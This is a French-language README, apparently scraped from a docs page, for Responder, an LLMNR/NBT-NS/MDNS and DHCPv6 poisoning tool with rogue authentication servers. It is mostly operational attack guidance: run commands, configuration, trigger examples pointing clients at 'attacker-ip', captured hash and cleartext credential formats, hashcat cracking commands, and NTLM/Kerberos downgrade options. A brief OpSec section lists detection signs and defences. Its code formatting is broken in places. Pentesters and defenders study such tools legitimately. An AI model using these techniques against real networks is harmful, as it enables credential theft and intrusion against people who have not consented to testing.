Responder

Responder est un empoisonneur LLMNR, NBT-NS et MDNS avec des serveurs d'authentification malveillants intégrés pour HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS, etc. Il prend en charge NTLMv1/NTLMv2/LMv2, la sécurité étendue NTLMSSP, et diverses méthodes d'authentification à travers plus de 15 protocoles.

Aperçu

Responder capture les identifiants en répondant aux requêtes de résolution de noms LLMNR, NBT-NS et MDNS. Lorsqu'un client tente de résoudre un nom d'hôte inexistant, Responder répond en dirigeant le client vers la machine de l'attaquant où plusieurs serveurs d'authentification malveillants capturent les identifiants. Les serveurs malveillants DHCP et DHCPv6 sont également inclus et peuvent être activés séparément.

Données capturées :

Hachages NetNTLMv1/v2 - Craquables avec hashcat/john
Hachages Kerberos AS-REQ - Craquage hors ligne (hashcat -m 7500)
Identifiants en clair - HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL, etc.
Challenge-response - CRAM-MD5, DIGEST-MD5

Nouveautés

Cette version inclut :

Améliorations DHCPv6 et DNS

✅ DHCPv6 INFORMATION-REQUEST - Compatibilité totale Windows 10/11
✅ Filtrage de domaine - Cibler des domaines spécifiques (DHCPv6 et DNS)
✅ Annonces de routeur - Empoisonnement réseau IPv6 optionnel

Améliorations du serveur de messagerie

✅ SMTP STARTTLS - Capture depuis les clients de messagerie modernes
✅ IMAP STARTTLS - Port 143 avec mise à niveau TLS
✅ IMAPS - SSL natif sur le port 993
✅ POP3 amélioré - Meilleure compatibilité

Améliorations Kerberos

✅ Force AS-REQ - Forcer l'authentification Kerberos.
✅ Tentative de repli NTLM - Après avoir intercepté l'authentification Kerberos, renvoyer KDC_ERR_ETYPE_NOSUPP

Améliorations de protocole

✅ MSSQL - Capture d'authentification SQL Server
✅ LDAP/LDAPS - Identifiants de service d'annuaire
✅ RDP - Authentification Bureau à distance
✅ WinRM - Gestion à distance Windows
✅ DCERPC - Authentification RPC Windows

Installation

Prérequis

Python 2.7 ou Python 3.x
Linux (Ubuntu, Kali, Debian recommandé)
Privilèges root

Dépendances système```bash

sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces

### Installer Responder```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt

Vérifier l'installation```bash

sudo python3 Responder.py --help

---

## Démarrage rapide

### Empoisonnement de base```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v

# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v

Attaque DHCPv6```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

sudo python3 Responder.py -I eth0 --dhcpv6 -v

### Forcer l'authentification HTTP Basic```bash
sudo python3 Responder.py -I eth0 -b -v

Activer l'authentification proxy + DHCP non autorisé```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

sudo python3 Responder.py -I eth0 -Pvd

---

## Empoisonnement réseau

### Empoisonnement LLMNR/NBT-NS/MDNS

**Objectif :** Répondre aux échecs de résolution de noms

**Fonctionnement :**
1. Le client diffuse une requête pour un hôte inexistant
2. L'attaquant répond : « Je suis cet hôte »
3. Le client se connecte à l'attaquant
4. Les identifiants sont capturés

**Configuration :**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On

Utilisation:```bash sudo python3 Responder.py -I eth0 -v

---

### Serveur DHCPv6

**Objectif :** Forcer les clients à utiliser le DNS de l'attaquant via IPv6

**Fonctionnalités :**
- ✅ Prise en charge d'INFORMATION-REQUEST (Windows 10/11)
- ✅ Prise en charge de SOLICIT/REQUEST
- ✅ Filtrage de domaine (ciblage chirurgical)
- ✅ Annonce de routeur (optionnelle)

**Comment ça fonctionne :**
1. Windows envoie DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST
2. Le répondeur répond : DNS = IPv6 de l'attaquant
3. Windows donne la priorité au DNS IPv6
4. Toutes les requêtes DNS → attaquant
5. Empoisonnement DNS → capture d'identifiants

**Configuration :**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local

; Send Router Advertisements
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Utilisation :```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v

**Sortie attendue:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123

Rogue Servers

Responder comprend 17+ serveurs d'authentification rogue :

Services fichiers & réseau

Serveur SMB (Ports 445, 139)

Objectif : Capture les hashs NetNTLM à partir de partages de fichiers

Fonctionnalités :

✅ SMBv1/SMBv2/SMBv3
✅ Capture de hashs NetNTLMv1/v2
✅ NTLMSSP de sécurité étendue
✅ Signature de session désactivée (permet le relais)

Déclencheurs :```powershell

UNC paths

\attacker-ip\share \non-existent-server\files

NET USE commands

net use \attacker-ip\share

Windows Explorer address bar

\attacker-ip\

**Format capturé :**```
username::domain:challenge:response:blob

Craquage :```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt

**Configuration:**```ini
[Responder Core]
SMB = On

Serveur FTP (Port 21)

Objectif : Capture des identifiants FTP en clair

Fonctionnalités :

✅ Honeypot de connexion anonyme
✅ Authentification USER/PASS
✅ Capture d'identifiants en clair

Déclencheurs :```bash ftp attacker-ip

Username: anything

Password: anything

**Format capturé :**```
[FTP] Cleartext: username:password

Configuration:```ini [Responder Core] FTP = On

---

### Serveurs de bases de données

#### Serveur MSSQL (Port 1433)

**Objectif:** Capturer l'authentification Microsoft SQL Server

**Fonctionnalités:**
- ✅ Authentification SQL Server
- ✅ Authentification Windows (NTLM)
- ✅ Identifiants SQL en clair
- ✅ Capture de hash NetNTLMv2

**Déclencheurs:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows

-- Command line
sqlcmd -S attacker-ip -U sa -P password

-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;

Formats capturés:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob

**Configuration:**```ini
[Responder Core]
SQL = On

Remarques :

Capture à la fois l'authentification SQL et l'authentification Windows
Fonctionne avec les connexions SSMS, sqlcmd, ADO.NET
Peut capturer les identifiants de domaine via l'authentification Windows

Serveurs de messagerie

Serveur SMTP (Ports 25, 587)

Objectif : Capturer l'authentification des clients de messagerie

Fonctionnalités :

✅ Prise en charge STARTTLS (clients modernes)
✅ AUTH PLAIN (texte clair)
✅ AUTH LOGIN (texte clair)
✅ AUTH CRAM-MD5
✅ AUTH DIGEST-MD5
✅ AUTH NTLM (NetNTLMv2)

Flux STARTTLS :``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅

**Déclencheurs:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything

Formats capturés:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response

**Configuration:**```ini
[Responder Core]
SMTP = On

Avertissements de certificat : Les avertissements de certificat auto-signé sont normaux. Les clients rejettent la première tentative, réessayent et réussissent. Les identifiants sont toujours capturés.

Serveur IMAP (Port 143)

Objectif : Capturer l'authentification IMAP avec STARTTLS

Fonctionnalités :

✅ Prise en charge de STARTTLS
✅ Commande LOGIN (en clair)
✅ AUTHENTICATE PLAIN
✅ AUTHENTICATE LOGIN
✅ AUTHENTICATE NTLM

Flux STARTTLS :``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅

**Configuration:**```ini
[Responder Core]
IMAP = On

Serveur IMAPS (Port 993)

Objectif : IMAP sur SSL (chiffrement natif)

Fonctionnalités :

✅ SSL natif dès le début de la connexion
✅ Toutes les méthodes d'authentification IMAP
✅ Aucun STARTTLS nécessaire (déjà chiffré)

Différence avec IMAP :``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start

**Configuration :**```ini
[Responder Core]
IMAPS = On

Serveur POP3 (Port 110)

Objectif : Capture des identifiants de récupération de courrier POP3

Fonctionnalités :

✅ Authentification USER/PASS
✅ APOP (défi MD5)
✅ Capture d'identifiants en texte clair

Déclencheurs :``` Email client:

Protocol: POP3
Server: attacker-ip
Port: 110

**Format capturé**```
[POP3] USER: username
[POP3] PASS: password

Configuration:```ini [Responder Core] POP = On

---

### Serveurs Web

#### Serveur HTTP (Port 80)

**Objectif :** Capturer l'authentification web

**Fonctionnalités :**
- ✅ Authentification NTLM (NetNTLMv1/v2)
- ✅ Authentification basique (texte clair)
- ✅ Authentification Digest (MD5)
- ✅ Injection WPAD

**Déclencheurs :**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection

Forcer l'authentification de base:```bash sudo python3 Responder.py -I eth0 -b

**Formats capturés:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash

Configuration:```ini [Responder Core] HTTP = On

---

#### Serveur HTTPS (Port 443)

**Objectif :** HTTPS avec capture d'authentification

**Caractéristiques :**
- ✅ Chiffrement SSL/TLS
- ✅ Toutes les méthodes d'authentification HTTP
- ✅ Certificat auto-signé
- ✅ WPAD sur HTTPS

**Configuration :**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key

Annuaire et Authentification

Serveur Kerberos (Port 88)

Objectif : Capturer les hachages AS-REP pour craquage hors ligne

Fonctionnalités :

✅ AES256-CTS-HMAC-SHA1-96 (etype 18)
✅ AES128-CTS-HMAC-SHA1-96 (etype 17)
✅ ARCFOUR-HMAC-MD5 (etype 23)

Comment ça marche :

Le client envoie une AS-REQ (requête TGT)
Le Responder : "Pré-authentification requise"
Le client envoie une AS-REQ avec un horodatage chiffré
Le Responder capture l'horodatage chiffré
Craquage hors ligne avec hashcat

Craquage :```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt

**Configuration:**```ini
[Responder Core]
Kerberos = On

Serveur LDAP (Port 389)

Objectif : Capturer l'authentification d'annuaire LDAP

Fonctionnalités :

✅ Authentification simple (texte clair)
✅ Authentification NTLM
✅ Requêtes Active Directory

Déclencheurs :```bash

LDAP query

ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password

Active Directory tools

dsquery user -d attacker-ip

**Formats capturés:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuration:```ini [Responder Core] LDAP = On

---

#### Serveur LDAPS (Port 636)

**Objectif :** LDAP sur SSL

**Fonctionnalités :**
- ✅ Chiffrement SSL/TLS
- ✅ Toutes les méthodes d'authentification LDAP

**Configuration :**```ini
[Responder Core]
LDAP = On

Accès à distance

Serveur RDP (Port 3389)

Objectif : Capturer l'authentification Bureau à distance

Fonctionnalités :

✅ Authentification au niveau réseau (NLA)
✅ Capture de hachage NetNTLMv2
✅ Authentification CredSSP

Déclencheurs :``` Remote Desktop Client:

Computer: attacker-ip
Username: anything
Password: anything

**Format capturé:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuration :```ini [Responder Core] RDP = On

**Note :** Capture l'authentification NLA avant la session de bureau.

---

#### Serveur WinRM (Ports 5985, 5986)

**Objectif :** Capturer les identifiants Windows Remote Management

**Fonctionnalités :**
- ✅ HTTP (5985) et HTTPS (5986)
- ✅ Authentification de base
- ✅ Authentification NTLM
- ✅ Authentification Kerberos

**Déclencheurs :**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }

# WinRM command line
winrm invoke -remote:http://attacker-ip

Formats capturés:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob

**Configuration:**```ini
[Responder Core]
WINRM = On

Infrastructure

Serveur DNS (Port 53 TCP/UDP)

Objectif : DNS Rogue avec filtrage de domaine

Fonctionnalités :

✅ Empoisonnement des enregistrements A/AAAA
✅ Empoisonnement des enregistrements MX (redirection d'email)
✅ Enregistrements SOA (apparaissent comme faisant autorité)
✅ Enregistrements SRV (Kerberos, LDAP)
✅ Enregistrements SVCB/HTTPS (navigateurs modernes)
✅ Prise en charge EDNS0
✅ Filtrage de domaine

Configuration :```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local

**Comment ça fonctionne :**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!

Types d'enregistrements pris en charge :

A (IPv4) - Rediriger vers l'attaquant
AAAA (IPv6) - Rediriger vers l'attaquant
MX (Courrier) - Empoisonnement du serveur de messagerie
SRV (Services) - Kerberos, LDAP, etc.
SOA (Autorité) - Apparaître comme faisant autorité
TXT (Texte) - Enregistrements SPF
SVCB/HTTPS (Liaison de service) - Navigateurs modernes

Exemple de filtrage de domaine :``` DHCPv6_Domain = corp.local

mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)

**Configuration:**```ini
[Responder Core]
DNS = On

Serveur DCERPC (Port 135)

Objectif : Capturer l'authentification RPC Windows

Fonctionnalités :

✅ Authentification NTLM
✅ Énumération des services Windows
✅ Capture NetNTLMv2

Déclencheurs :``` Windows services querying RPC endpoint mapper WMI queries Remote registry access

**Format capturé :**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configuration :```ini [Responder Core] DCERPC = On

---

## Configuration

### Fichier de configuration principal

Modifiez `Responder.conf` :```ini
[Responder Core]
; === Network Services ===
SQL = On        # MSSQL (port 1433)
SMB = On        # SMB (ports 445, 139)
RDP = On        # Remote Desktop (port 3389)
Kerberos = On   # Kerberos (port 88)
FTP = On        # FTP (port 21)
POP = On        # POP3 (port 110)
SMTP = On       # SMTP with STARTTLS (port 25/587)
IMAP = On       # IMAP with STARTTLS (port 143)
IMAPS = On      # IMAPS with SSL (port 993)
HTTP = On       # HTTP (port 80)
HTTPS = On      # HTTPS (port 443)
DNS = On        # DNS (port 53)
LDAP = On       # LDAP/LDAPS (ports 389/636)
DCERPC = On     # Windows RPC (port 135)
WINRM = On      # Windows Remote Management (ports 5985/5986)

; === Poisoners ===
LLMNR = On      # Link-Local Multicast Name Resolution
NBTNS = On      # NetBIOS Name Service
MDNS = On       # Multicast DNS
DHCP = Off      # DHCP (IPv4) - use with caution
DHCPv6 = On     # DHCPv6 (IPv6) - use with more caution

; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db

; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key

[HTTP Server]
HtmlFilename = files/AccessDenied.html

[DHCPv6 Server]
; Target specific domain 
DHCPv6_Domain = corp.local

; Send Router Advertisements (use with caution)
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Options de ligne de commande

Utilisation de base```bash

sudo python3 Responder.py [options]

### Arguments requis

| Option | Description |
|--------|-------------|
| `-I eth0, --interface=eth0` | Interface réseau à utiliser (utilisez 'ALL' pour toutes les interfaces) |

### Options d'empoisonnement

| Option | Description |
|--------|-------------|
| `-A, --analyze` | Mode analyse - Voir les requêtes NBT-NS, MDNS, LLMNR sans répondre |
| `-w, --wpad` | Démarrer le serveur proxy rogue WPAD (défaut : Désactivé) |
| `-F, --ForceWpadAuth` | Forcer l'authentification NTLM/Basic lors de la récupération de wpad.dat (anciens réseaux)|
| `-P, --ProxyAuth` | Forcer l'authentification NTLM/Basic pour le proxy (très efficace) |

### Options DHCP/DHCPv6

| Option | Description |
|--------|-------------|
| `-d, --DHCP` | Activer les réponses DHCP broadcast avec injection WPAD (IPv4) |
| `-D, --DHCP-DNS` | Injecter un serveur DNS dans la réponse DHCP au lieu de WPAD |
| `--dhcpv6` | Activer l'empoisonnement DHCPv6 (répond aux messages SOLICIT) |

### Options d'empoisonnement IP

| Option | Description |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | Empoisonner les requêtes avec une autre adresse IPv4 |
| `-6 ADDR, --externalip6=ADDR` | Empoisonner les requêtes avec une autre adresse IPv6 |
| `-i 10.0.0.21, --ip=10.0.0.21` | IP locale à utiliser (macOS uniquement) |

### Options d'authentification

| Option | Description |
|--------|-------------|
| `-b, --basic` | Retourner l'authentification HTTP Basic (défaut : NTLM) |
| `--lm` | Forcer le downgrade du hachage LM (Windows XP/2003) |
| `--disable-ess` | Forcer le downgrade de la sécurité étendue NTLMSSP |

### Options avancées

| Option | Description |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | Proxy HTTP amont pour le WPAD rogue |
| `-t 1e, --ttl=1e` | Modifier le TTL Windows pour les réponses empoisonnées (hex : 30s=1e, ou 'random') |
| `-N NAME, --AnswerName=NAME` | Nom canonique pour les réponses LLMNR (utile pour le relais Kerberos) |
| `-E, --ErrorCode` | Retourner STATUS_LOGON_FAILURE (active la capture d'authentification WebDAV) |

### Options de sortie

| Option | Description |
|--------|-------------|
| `-v, --verbose` | Augmenter la verbosité (recommandé) |
| `-Q, --quiet` | Mode silencieux - Désactiver la sortie de l'empoisonneur |

### Informations

| Option | Description |
|--------|-------------|
| `--version` | Afficher la version du programme et quitter |
| `-h, --help` | Afficher le message d'aide et quitter |

---

### Emplacements de stockage```
Responder.db                    # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt       # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt        # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt      # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt      # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt    # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt       # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt     # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt    # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt        # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt      # WinRM NetNTLMv2 hashes

Requête de base de données```bash

sqlite3 Responder.db

Show tables

.tables

Show all captured hashes

SELECT * FROM hashes;

Export to CSV

.mode csv .output hashes.csv SELECT * FROM hashes; .quit

---

### Considérations OpSec

**Indicateurs de détection :**
- Réponses LLMNR/NBT-NS inhabituelles
- Serveur DHCP/DHCPv6 non autorisé
- Requêtes Kerberos pré-authentification invalides
- Certificats SSL auto-signés
- Multiples échecs d'authentification
- Réponses DNS suspectes

**Mesures défensives :**
- Désactiver MDNS/LLMNR/NBT-NS via GPO
- Activer le snooping DHCP sur le commutateur
- Activer la protection RA IPv6
- Activer la protection DHCPv6
- Surveiller les serveurs DHCPv6 non autorisés

---

## macOS

Responder fonctionne sur macOS mais nécessite le flag `-i` pour spécifier votre adresse IP locale. macOS ne supporte pas l'option de socket `SO_BINDTODEVICE` utilisée sur Linux pour la liaison d'interface.

### Utilisation du script de lancement

Le script `macOS_Launcher.sh` inclus gère automatiquement les conflits de services :```bash
sudo ./macOS_Launcher.sh -I en0

Le lanceur va :

Auto-détecter votre IP à partir de l'interface (ou passez -i pour outrepasser)
Vérifier l'état de SIP et signaler les limitations
Arrêter les services macOS conflictuels (Kerberos, mDNSResponder, SMB, NetBIOS) si SIP est désactivé
Signaler les conflits de ports si SIP est activé
Restaurer tous les services arrêtés lorsque Responder se ferme (y compris avec Ctrl+C)

Exécution directe```bash

Find your IP

ipconfig getifaddr en0

Run with explicit IP

sudo python3 Responder.py -I en0 -i 192.168.1.100

### Protection d'intégrité du système (SIP)

Avec SIP activée (par défaut), macOS empêche d'arrêter les services système qui se lient aux ports dont Responder a besoin. Vous avez trois options :

1. **Utiliser le script de lancement (launcher script)** — il signalera les conflits et continuera avec ce qui est disponible
2. **Désactiver les modules conflictuels** dans `Responder.conf` (par exemple, `SMB = Off`, `DNS = Off`)
3. **Désactiver SIP** pour une fonctionnalité complète (voir [la documentation d'Apple](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection))

---

## Dépannage

### Problèmes courants

**Permission refusée :**```bash
sudo python3 Responder.py -I eth0

Interface non trouvée :```bash ip link show sudo python3 Responder.py -I wlan0

**Port déjà utilisé :**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd

DHCPv6 Ne fonctionne pas :```bash

Enable IPv6

sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0

Verify

sysctl net.ipv6.conf.all.disable_ipv6

**Aucun hash capturé :**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v

# Check firewall
sudo iptables -L

# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389

Mode debug```bash

Very verbose output

sudo python3 Responder.py -I eth0 -vv

Tail logs

tail -f logs/Responder-Session.log

Network monitoring

sudo tcpdump -i eth0 -w responder-capture.pcap

---

## Crédits

**Auteur :** Laurent Gaffié
- GitHub : https://github.com/lgandx
- Site web : https://secorizon.com/
- Twitter : @secorizon

---

## Donation
Vous pouvez contribuer à ce projet en faisant un don à l'adresse USDT ou Bitcoin suivante :

USDT : 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A

BTC : bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

Paypal :

https://paypal.me/PythonResponder

---

## Remerciements
Le développement tardif de Responder a été possible grâce aux dons reçus de particuliers et d'entreprises.

Nous tenons à remercier ces sponsors majeurs :

SecureWorks : https://www.secureworks.com/

Synacktiv : https://www.synacktiv.com/

Black Hills Information Security : http://www.blackhillsinfosec.com/

TrustedSec : https://www.trustedsec.com/

Red Siege Information Security : https://www.redsiege.com/

Open-Sec : http://www.open-sec.com/

Et tous, TOUS les pentesteurs du monde entier qui ont fait un don à ce projet.

Merci.

Populaires

Responder

Responder

Table des matières

Aperçu

Nouveautés

Améliorations DHCPv6 et DNS

Améliorations du serveur de messagerie

Améliorations Kerberos

Améliorations de protocole

Installation

Prérequis

Dépendances système```bash

Vérifier l'installation```bash

Attaque DHCPv6```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

Activer l'authentification proxy + DHCP non autorisé```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

Rogue Servers

Services fichiers & réseau

Serveur SMB (Ports 445, 139)

UNC paths

NET USE commands

Windows Explorer address bar

Serveur FTP (Port 21)

Username: anything

Password: anything

Serveurs de messagerie

Serveur SMTP (Ports 25, 587)

Serveur IMAP (Port 143)

Serveur IMAPS (Port 993)

Serveur POP3 (Port 110)

Annuaire et Authentification

Serveur Kerberos (Port 88)

Serveur LDAP (Port 389)

LDAP query

Active Directory tools

Accès à distance

Serveur RDP (Port 3389)

Infrastructure

Serveur DNS (Port 53 TCP/UDP)

Serveur DCERPC (Port 135)

Options de ligne de commande

Utilisation de base```bash

Requête de base de données```bash

Show tables

Show all captured hashes

Export to CSV

Exécution directe```bash

Find your IP

Run with explicit IP

Enable IPv6

Verify

Mode debug```bash

Very verbose output

Tail logs

Network monitoring